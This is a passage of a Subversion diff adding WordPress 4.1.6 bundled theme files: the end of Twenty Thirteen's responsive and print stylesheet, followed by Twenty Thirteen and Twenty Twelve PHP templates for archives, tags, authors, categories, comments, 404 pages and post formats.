+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+@media (max-width: 1599px) {
+	.site {
+		border: 0;
+	}
+}
+
+@media (max-width: 1069px) {
+	.sidebar img.alignleft,
+	.sidebar .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.sidebar img.alignright,
+	.sidebar .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.error404 .page-header {
+		margin-left: auto;
+		max-width: 604px;
+		width: 100%;
+	}
+
+	.archive-header,
+	.search .page-header,
+	.archive .page-header,
+	.blog .page-header,
+	.error404 .page-content,
+	.search .page-content,
+	.archive .page-content,
+	.attachment .entry-header,
+	.attachment .entry-content,
+	.post-navigation .nav-links,
+	.sidebar .site-info,
+	.site-footer .widget-area {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	.error404 .page-title {
+		font-size: 24px;
+		padding: 180px;
+	}
+
+	.error404 .page-title:before {
+		font-size: 554px;
+	}
+
+	.attachment .image-navigation {
+		max-width: 724px;
+	}
+
+	.image-navigation .nav-previous,
+	.image-navigation .nav-next {
+		position: static;
+	}
+
+	.site-main .widget-area {
+		margin-right: 60px;
+	}
+}
+
+@media (max-width: 999px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-reply-title,
+	.sidebar .comment-navigation,
+	.sidebar .comment-respond .comment-form,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.author.sidebar .author-info {
+		max-width: 604px;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.sidebar .site-info,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.attachment .entry-header,
+	.sidebar .comments-title {
+		max-width: 604px;
+	}
+
+	.sidebar .archive-meta,
+	.attachment .entry-header,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.sidebar .site-info,
+	.sidebar .comments-title,
+	.sidebar .no-comments {
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.attachment .entry-meta {
+		float: left;
+		text-align: left;
+		width: 100%;
+	}
+
+	.attachment .entry-content {
+		max-width: 100%;
+		padding: 40px 0;
+	}
+
+	.format-status .entry-content {
+		padding-top: 40px;
+	}
+
+	.format-status .entry-meta {
+		padding-bottom: 40px;
+	}
+
+	.sidebar .format-status .entry-content,
+	.sidebar .format-status .entry-meta {
+		padding-left: 35px;
+	}
+
+	.sidebar .format-status .entry-content:before,
+	.sidebar .format-status .entry-meta:before {
+		left: 10px;
+	}
+
+	.sidebar .format-status .entry-content p:first-child:before {
+		left: 4px;
+	}
+
+	.sidebar .paging-navigation .nav-links {
+		padding: 0 60px;
+	}
+
+	.site-main .sidebar-container {
+		height: auto;
+		margin: 0 auto;
+		max-width: 604px;
+		position: relative;
+		top: 20px;
+	}
+
+	.site-main .widget-area {
+		float: none;
+		margin: 0;
+		width: 100%;
+	}
+
+	.sidebar .site-footer .widget-area {
+		max-width: 100%;
+		left: 0;
+	}
+}
+
+/* Collapse oversized image and pulled images after iPad breakpoint. */
+@media (max-width: 767px) {
+	.site-header .home-link {
+		min-height: 0;
+	}
+	.site-title {
+		font-size: 36px;
+		padding: 8px 0 10px;
+	}
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.attachment .image-navigation,
+	.attachment .entry-attachment .attachment {
+		max-width: 604px;
+		padding: 0;
+		width: 100%;
+	}
+
+	.gallery-caption {
+		display: none;
+	}
+}
+
+@media (max-width: 643px) {
+	.site-title {
+		font-size: 30px;
+	}
+
+	#content .entry-header,
+	#content .entry-content,
+	#content .entry-summary,
+	#content footer.entry-meta,
+	#content .featured-gallery,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.sidebar .post-navigation .nav-links,
+	.paging-navigation .nav-links,
+	#content .author-info,
+	.comments-area .comments-title,
+	.comments-area .comment-list,
+	.comments-area .comment-navigation,
+	.comment-respond,
+	.sidebar .site-info,
+	.sidebar .paging-navigation .nav-links {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	#content .format-status .entry-content,
+	#content .format-status .entry-met {
+		padding-left: 35px;
+	}
+
+	/* Small menu */
+	.menu-toggle {
+		cursor: pointer;
+		display: inline-block;
+		font: bold 16px/1.3 "Source Sans Pro", Helvetica, sans-serif;
+		margin: 0;
+	}
+
+	.menu-toggle,
+	.menu-toggle:hover,
+	.menu-toggle:focus,
+	.menu-toggle:active {
+		background: none;
+		border: none;
+		color: #141412;
+		padding: 12px 0 12px 20px;
+	}
+
+	.menu-toggle:focus {
+		outline: thin dotted;
+	}
+
+	.menu-toggle:after {
+		content: "\f502";
+		font-size: 12px;
+		padding-left: 8px;
+		vertical-align: -4px;
+	}
+
+	.toggled-on .menu-toggle:after {
+		content: "\f500";
+		vertical-align: 2px;
+	}
+
+	.toggled-on .nav-menu,
+	.toggled-on .nav-menu > ul {
+		display: block;
+		margin-left: 0;
+		padding: 0;
+		width: 100%;
+	}
+
+	.toggled-on li,
+	.toggled-on .children {
+		display: block;
+	}
+
+	.toggled-on .nav-menu li > ul {
+		background-color: transparent;
+		display: block;
+		float: none;
+		margin-left: 20px;
+		position: relative;
+		left: auto;
+		top: auto;
+	}
+
+	.toggled-on .nav-menu li > ul a {
+		color: #141412;
+		width: auto;
+	}
+
+	.toggled-on .nav-menu li:hover > a,
+	.toggled-on .nav-menu .children a {
+		background-color: transparent;
+		color: #141412;
+	}
+
+	.toggled-on .nav-menu > li a:hover,
+	.toggled-on .nav-menu > ul a:hover {
+		background-color: #db572f;
+		color: #fff;
+	}
+
+	.toggled-on .nav-menu > li a:focus,
+	.toggled-on .nav-menu > ul a:focus {
+		background-color: #220e10;
+		color: #fff;
+	}
+
+	ul.nav-menu,
+	div.nav-menu > ul {
+		display: none;
+	}
+
+	#content .featured-gallery {
+		padding-left: 24px;
+	}
+
+	.gallery-columns-1 .gallery-item {
+		margin-right: 0;
+		width: 100%;
+	}
+
+	.entry-title,
+	.format-chat .entry-title,
+	.format-image .entry-title,
+	.format-gallery .entry-title,
+	.format-video .entry-title {
+		font-size: 22px;
+		font-weight: bold;
+	}
+
+	.format-quote blockquote,
+	.format-status .entry-content {
+		font-size: 18px;
+	}
+
+	.format-quote blockquote small,
+	.format-quote blockquote cite {
+		font-size: 13px;
+	}
+
+	.error404 .page-title {
+		padding: 40px 0 0;
+	}
+
+	.error404 .page-title:before {
+		content: normal;
+	}
+
+	.comment-author {
+		margin-right: 30px;
+	}
+
+	.comment-author .avatar {
+		height: auto;
+		max-width: 100%;
+	}
+
+	.comment-metadata,
+	.comment-content,
+	.comment-list .reply {
+		width: 70%;
+		width: -webkit-calc(100% - 104px);
+		width:         calc(100% - 104px);
+	}
+
+	.comment-form input[type="text"],
+	.comment-form input[type="email"],
+	.comment-form input[type="url"] {
+		width: -webkit-calc(100% - 120px);
+		width:         calc(100% - 120px);
+	}
+
+	.comment-form textarea {
+		height: 80px; /* Smaller field for mobile. */
+	}
+
+	/* Audio */
+	.format-audio .entry-content:before {
+		display: none;
+	}
+
+	.format-audio .audio-content {
+		background-image: none;
+		float: none;
+		padding-left: 0;
+		width: auto;
+	}
+}
+
+/* Mobile devices */
+@media (max-width: 359px) {
+	.site-title {
+		font-weight: normal;
+	}
+	.site-description {
+	    clip: rect(1px, 1px, 1px, 1px);
+	    position: absolute;
+	}
+	.gallery {
+		margin-left: 0;
+	}
+
+	.gallery .gallery-item,
+	.gallery-columns-2.gallery-size-thumbnail .gallery-item {
+		max-width: none;
+		width: 49%;
+		width: -webkit-calc(50% - 4px);
+		width:         calc(50% - 4px);
+	}
+
+	.gallery-columns-1.gallery-size-medium,
+	.gallery-columns-1.gallery-size-thumbnail,
+	.gallery-columns-2.gallery-size-thumbnail,
+	.gallery-columns-3.gallery-size-thumbnail {
+		display: block;
+	}
+
+	.gallery-columns-1 .gallery-item,
+	.gallery-columns-1.gallery-size-medium .gallery-item,
+	.gallery-columns-1.gallery-size-thumbnail .gallery-item {
+		text-align: center;
+		width: 98%;
+		width: -webkit-calc(100% - 4px);
+		width:         calc(100% - 4px);
+	}
+
+	.gallery-columns-3 .gallery-item:nth-of-type(3n),
+	.gallery-columns-5 .gallery-item:nth-of-type(5n),
+	.gallery-columns-7 .gallery-item:nth-of-type(7n),
+	.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+		margin-right: 4px;
+	}
+
+	.gallery br {
+		display: none;
+	}
+
+	.gallery .gallery-item:nth-of-type(even) {
+		margin-right: 0;
+	}
+
+	/* Comments */
+	.comment-author {
+		margin: 0 0 5px;
+		max-width: 100%;
+	}
+
+	.comment-author .avatar {
+		display: inline;
+		margin: 0 5px 0 0;
+		max-width: 20px;
+	}
+
+	.comment-metadata,
+	.comment-content,
+	.comment-list .reply {
+		width: 100%;
+	}
+}
+
+
+/**
+ * 9.0 Print
+ * ----------------------------------------------------------------------------
+ */
+
+/* Retina-specific styles. */
+@media print,
+	(-o-min-device-pixel-ratio: 5/4),
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	.site-header .search-field {
+		background-image: url(images/search-icon-2x.png);
+	}
+
+	.format-audio .audio-content,
+	.format-status .entry-content:before,
+	.format-status .entry-meta:before,
+	.comment-list > li:after,
+	.comment-list .children > li:before {
+		background-image: url(images/dotted-line-2x.png);
+	}
+}
+
+@media print {
+	body {
+		background: none !important;
+		color: #000;
+		font-size: 10pt;
+	}
+
+	footer a[rel="bookmark"]:link:after,
+	footer a[rel="bookmark"]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+
+	.site {
+		max-width: 98%;
+	}
+
+	.site-header {
+		background-image: none !important;
+	}
+
+	.site-header .home-link {
+		max-width: none;
+		min-height: 0;
+	}
+
+	.site-title {
+		color: #000;
+		font-size: 21pt;
+	}
+
+	.site-description {
+		font-size: 10pt;
+	}
+
+	.author-avatar,
+	.site-footer,
+	.comment-respond,
+	.comments-area .comment-edit-link,
+	.comments-area .reply,
+	.comments-link,
+	.entry-meta .edit-link,
+	.page-links,
+	.site-content nav,
+	.widget-area,
+	.main-navigation,
+	.navbar,
+	.more-link {
+		display: none;
+	}
+
+	.entry-header,
+	.entry-content,
+	.entry-summary,
+	.entry-meta {
+		margin: 0;
+		width: 100%;
+	}
+
+	.page-title,
+	.entry-title {
+		font-size: 21pt;
+	}
+
+	.entry-meta,
+	.entry-meta a {
+		color: #444;
+		font-size: 10pt;
+	}
+
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.format-image .entry-content .size-full {
+		margin: 0;
+	}
+
+	/* Remove colors from post formats */
+	.hentry {
+		background-color: #fff;
+	}
+
+	/* Comments */
+	.comments-area > li.comment {
+		background: none;
+		position: relative;
+		width: auto;
+	}
+
+	.comment-metadata {
+		float: none;
+	}
+
+	.comment-author .fn,
+	.comment-reply-link,
+	.comment-reply-login {
+		color: #333;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/tag.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/tag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/tag.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The template for displaying Tag pages
+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentythirteen' ), single_tag_title( '', false ) ); ?></h1>
+
+				<?php if ( tag_description() ) : // Show an optional tag description ?>
+				<div class="archive-meta"><?php echo tag_description(); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/taxonomy-post_format.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/taxonomy-post_format.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/taxonomy-post_format.php	(revision 33402)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying Post Format pages
+ *
+ * Used to display archive-type pages for posts with a post format.
+ * If you'd like to further customize these Post Format views, you may create a
+ * new template file for each specific one.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( '%s Archives', 'twentythirteen' ), '<span>' . get_post_format_string( get_post_format() ) . '</span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/404.php	(revision 33402)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<article id="post-0" class="post error404 no-results not-found">
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/archive.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Twelve already
+ * has tag.php for Tag archives, category.php for Category archives, and
+ * author.php for Author archives.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php
+					if ( is_day() ) :
+						printf( __( 'Daily Archives: %s', 'twentytwelve' ), '<span>' . get_the_date() . '</span>' );
+					elseif ( is_month() ) :
+						printf( __( 'Monthly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentytwelve' ) ) . '</span>' );
+					elseif ( is_year() ) :
+						printf( __( 'Yearly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentytwelve' ) ) . '</span>' );
+					else :
+						_e( 'Archives', 'twentytwelve' );
+					endif;
+				?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/* Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/author.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/author.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * The template for displaying Author Archive pages
+ *
+ * Used to display archive-type pages for posts by an author.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php
+				/* Queue the first post, that way we know
+				 * what author we're dealing with (if that is the case).
+				 *
+				 * We reset this later so we can run the loop
+				 * properly with a call to rewind_posts().
+				 */
+				the_post();
+			?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Author Archives: %s', 'twentytwelve' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( "ID" ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+				/* Since we called the_post() above, we need to
+				 * rewind the loop back to the beginning that way
+				 * we can run the loop properly, in full.
+				 */
+				rewind_posts();
+			?>
+
+			<?php twentytwelve_content_nav( 'nav-above' ); ?>
+
+			<?php
+			// If a user has filled out their description, show a bio on their entries.
+			if ( get_the_author_meta( 'description' ) ) : ?>
+			<div class="author-info">
+				<div class="author-avatar">
+					<?php
+					/**
+					 * Filter the author bio avatar size.
+					 *
+					 * @since Twenty Twelve 1.0
+					 *
+					 * @param int $size The height and width of the avatar in pixels.
+					 */
+					$author_bio_avatar_size = apply_filters( 'twentytwelve_author_bio_avatar_size', 68 );
+					echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+					?>
+				</div><!-- .author-avatar -->
+				<div class="author-description">
+					<h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2>
+					<p><?php the_author_meta( 'description' ); ?></p>
+				</div><!-- .author-description	-->
+			</div><!-- .author-info -->
+			<?php endif; ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/category.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/category.php	(revision 33402)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * Used to display archive-type pages for posts in a category.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentytwelve' ), '<span>' . single_cat_title( '', false ) . '</span>' ); ?></h1>
+
+			<?php if ( category_description() ) : // Show an optional category description ?>
+				<div class="archive-meta"><?php echo category_description(); ?></div>
+			<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/* Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/comments.php	(revision 33402)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentytwelve_comment() which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() )
+	return;
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php // You can start editing here -- including this comment! ?>
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentytwelve' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<ol class="commentlist">
+			<?php wp_list_comments( array( 'callback' => 'twentytwelve_comment', 'style' => 'ol' ) ); ?>
+		</ol><!-- .commentlist -->
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-below" class="navigation" role="navigation">
+			<h1 class="assistive-text section-heading"><?php _e( 'Comment navigation', 'twentytwelve' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentytwelve' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentytwelve' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<?php
+		/* If there are no comments and comments are closed, let's leave a note.
+		 * But we only want the note on posts and pages that had comments in the first place.
+		 */
+		if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentytwelve' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments .comments-area -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-aside.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-aside.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-aside.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="aside">
+			<h1 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h1>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+			</div><!-- .entry-content -->
+		</div><!-- .aside -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-image.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" rel="bookmark">
+				<h1><?php the_title(); ?></h1>
+				<h2><time class="entry-date" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php echo get_the_date(); ?></time></h2>
+			</a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-link.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-link.php	(revision 33402)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header><?php _e( 'Link', 'twentytwelve' ); ?></header>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-none.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-none.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-none.php	(revision 33402)
@@ -0,0 +1,20 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-0" class="post no-results not-found">
+		<header class="entry-header">
+			<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+		</header>
+
+		<div class="entry-content">
+			<p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p>
+			<?php get_search_form(); ?>
+		</div><!-- .entry-content -->
+	</article><!-- #post-0 -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-page.php
===================================================================
